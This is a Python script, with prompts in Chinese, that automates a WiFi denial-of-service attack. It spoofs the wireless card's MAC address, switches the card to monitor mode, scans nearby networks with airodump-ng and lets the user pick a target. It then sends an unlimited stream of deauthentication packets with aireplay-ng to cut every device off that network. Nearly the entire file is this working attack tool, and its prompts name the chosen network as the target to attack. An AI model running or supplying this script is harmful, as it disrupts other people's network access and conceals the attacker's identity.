import subprocess
import re
import csv
import os
import time
import shutil
from datetime import datetime
active_wireless_networks = []
def check_for_essid(essid, lst):
    check_status = True
    if len(lst) == 0:
        return check_status
    for item in lst:
        if essid in item["ESSID"]:
            check_status = False
    return check_status
if not 'SUDO_UID' or 'ROOT_UID' in os.environ.keys():
    print("请在超级用户下运行此程序")
    exit()
for file_name in os.listdir():
    if ".csv" in file_name:
        print("在此文件夹下不能有任何.csv文件。 我们在你的文件夹中找到了.csv文件并将他们备份到'backup'文件夹下")
        directory = os.getcwd()
        try:
            os.mkdir(directory + "/backup/")
        except:
            print("备份文件夹已存在！")
        timestamp = datetime.now()
        shutil.move(file_name, directory + "/backup/" + str(timestamp) + "-" + file_name)
wlan_pattern = re.compile("^wlan[0-9]+")
check_wifi_result = wlan_pattern.findall(subprocess.run(["iwconfig"], capture_output=True).stdout.decode())
if len(check_wifi_result) == 0:
    print("请连接你的WiFi网卡并重试.")
    exit()
print("可利用的WiFi网卡:")
for index, item in enumerate(check_wifi_result):
    print(f"{index} - {item}")
while True:
    wifi_interface_choice = input("请选择你想利用的攻击接口: ")
    try:
        if check_wifi_result[int(wifi_interface_choice)]:
            break
    except:
        print("请输入与可用选项对应的数字:")
while True:
    print("\n 0 -a :设置相同类型的随机供应商mac")
    print("\n 1 -A :设置同厂家不同型号的mac地址")
    print("\n 2 -r :设置完全随机的mac地址")
    macchanger_type = int(input("请选择macchanger的攻击类型:"))
    try:
        if macchanger_type == 0:
            macchanger_type = "-a"
            break
        if macchanger_type == 1 :
            macchanger_type = "-A"
            break
        if macchanger_type == 2 :
            macchanger_type = "-r"
            break
    except:
        print("请输入一个可供选择的号码.")
hacknic = check_wifi_result[int(wifi_interface_choice)]
print("WiFi设备已连接！\n现在清空所有进程:")
print("将WiFi网卡设置成监听模式:")
subprocess.run(["ip", "link", "set", hacknic, "down"])
subprocess.run(["macchanger", macchanger_type, hacknic])
subprocess.run(["airmon-ng", "check", "kill"])
subprocess.run(["iw", hacknic, "set", "monitor", "none"])
subprocess.run(["ip", "link", "set", hacknic, "up"])# subprocess.Popen(<list of command line arguments goes here>)
discover_access_points = subprocess.Popen(["sudo", "airodump-ng","-w" ,"file","--write-interval", "1","--output-format", "csv", hacknic], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
try:
    while True:
        subprocess.call("clear", shell=True)
        for file_name in os.listdir():
                fieldnames = ['BSSID', 'First_time_seen', 'Last_time_seen', 'channel', 'Speed', 'Privacy', 'Cipher', 'Authentication', 'Power', 'beacons', 'IV', 'LAN_IP', 'ID_length', 'ESSID', 'Key']
                if ".csv" in file_name:
                    with open(file_name) as csv_h:
                        csv_h.seek(0)
                        csv_reader = csv.DictReader(csv_h, fieldnames=fieldnames)
                        for row in csv_reader:
                            if row["BSSID"] == "BSSID":
                                pass
                            elif row["BSSID"] == "Station MAC":
                                break
                            elif check_for_essid(row["ESSID"], active_wireless_networks):
                                active_wireless_networks.append(row)

        print("扫描中. 当您要选择要攻击的无线网络时请输入Ctrl+C.\n")
        print("No |\tBSSID              |\tChannel|\tESSID                         |")
        print("___|\t___________________|\t_______|\t______________________________|")
        for index, item in enumerate(active_wireless_networks):
            print(f"{index}\t{item['BSSID']}\t{item['channel'].strip()}\t\t{item['ESSID']}")
        time.sleep(0.1)
except KeyboardInterrupt:
    print("\n准备输入选择标号.")
while True:
    choice = input("请从上面选择一个选项: ")
    try:
        if active_wireless_networks[int(choice)]:
            break
    except:
        print("请重试.")
hackbssid = active_wireless_networks[int(choice)]["BSSID"]
hackchannel = active_wireless_networks[int(choice)]["channel"].strip()
subprocess.run(["airmon-ng", "start", hacknic, hackchannel])
try:
    subprocess.run(["aireplay-ng", "--deauth", "0", "-a", hackbssid, hacknic])
except KeyboardInterrupt:
    subprocess.run(["systemctl", "restart", "NetworkManager"])   
    print("完成!")
